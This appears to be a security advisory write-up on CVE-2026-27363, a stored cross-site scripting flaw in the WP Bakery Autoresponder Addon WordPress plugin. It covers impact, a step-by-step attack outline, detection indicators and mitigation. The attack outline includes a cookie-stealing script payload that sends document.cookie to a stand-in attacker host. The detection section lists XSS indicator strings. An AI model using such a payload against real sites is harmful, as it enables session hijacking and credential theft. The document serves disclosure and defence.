CVE-2026-27363: 
WordPress vulnerability analysis and mitigation

CVE-2026-27363 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Bakery Autoresponder Addon WordPress plugin (slug: vc-autoresponder-addon). It affects all versions up to and including 1.0.6, with no official patch available as of the disclosure date. The vulnerability was reported by researcher Phat RiO on November 25, 2025, and publicly disclosed by Patchstack on February 25, 2026. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the Stored XSS variant. An unauthenticated attacker can inject malicious scripts into fields processed by the plugin, which are then persistently stored and later rendered in the browsers of site visitors or administrators without proper output encoding or sanitization. Exploitation requires user interaction — a privileged user must visit or trigger the affected page — but no authentication is required to plant the payload (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript within the WordPress site, which executes in the context of any user (including administrators) who views the affected page. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of visitors to malicious sites. Given that no authentication is required to inject the payload, the vulnerability is particularly suited for mass-exploit campaigns targeting WordPress installations at scale (Patchstack).

No evidence of active in-the-wild exploitation or public proof-of-concept code has been reported as of the disclosure date. The EPSS score is approximately 0.029% (0.000290), indicating a low current probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress plugins regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the WP Bakery Autoresponder Addon plugin version ≤ 1.0.6 using tools like WPScan, Shodan, or Google dorks targeting the plugin slug vc-autoresponder-addon.
2. Identify injectable input: Locate the plugin's input fields or form parameters that are stored and later rendered without sanitization (e.g., autoresponder configuration fields or shortcode parameters).
3. Craft XSS payload: Prepare a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a payload designed to create a rogue admin account.
4. Submit payload: Submit the crafted payload via the vulnerable input field — no authentication is required for this step.
5. Trigger execution: Wait for a privileged user (e.g., site administrator) to visit the page where the payload is rendered, causing the malicious script to execute in their browser context.
6. Achieve objective: Harvest session cookies, perform unauthorized administrative actions, or redirect visitors to attacker-controlled infrastructure (Patchstack).

• Logs: WordPress access logs showing unexpected POST requests to plugin-related endpoints (e.g., paths containing vc-autoresponder-addon) from unknown or suspicious IP addresses; repeated form submissions with encoded script tags (<script>, %3Cscript%3E, javascript:) in request bodies.
• File System: Unexpected modifications to plugin files in wp-content/plugins/vc-autoresponder-addon/; presence of obfuscated JavaScript in plugin-managed database entries.
• Database: WordPress database entries (e.g., in wp_options, wp_postmeta, or plugin-specific tables) containing <script>, onerror=, onload=, or javascript: strings injected into plugin fields.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting pages rendered by the plugin, potentially indicating cookie exfiltration or redirect activity.

As of the disclosure date, no official patch from the plugin developer (kamleshyadav) is available for versions ≤ 1.0.6. The recommended immediate action is to deactivate and remove the WP Bakery Autoresponder Addon plugin until a patched version is released. Patchstack has issued a virtual patch (mitigation rule) for its subscribers to block exploitation attempts in the interim. Site owners unable to remove the plugin should consult their hosting provider or web developer, and consider deploying a Web Application Firewall (WAF) with XSS filtering rules (Patchstack).

The vulnerability was discovered and disclosed by Patchstack, credited to researcher Phat RiO. Patchstack categorizes it as a medium-priority issue with a CVSS 7.1 score and warns that stored XSS vulnerabilities in WordPress plugins are frequently leveraged in mass-exploit campaigns. No significant broader media coverage or notable researcher commentary beyond the Patchstack advisory has been identified (Patchstack).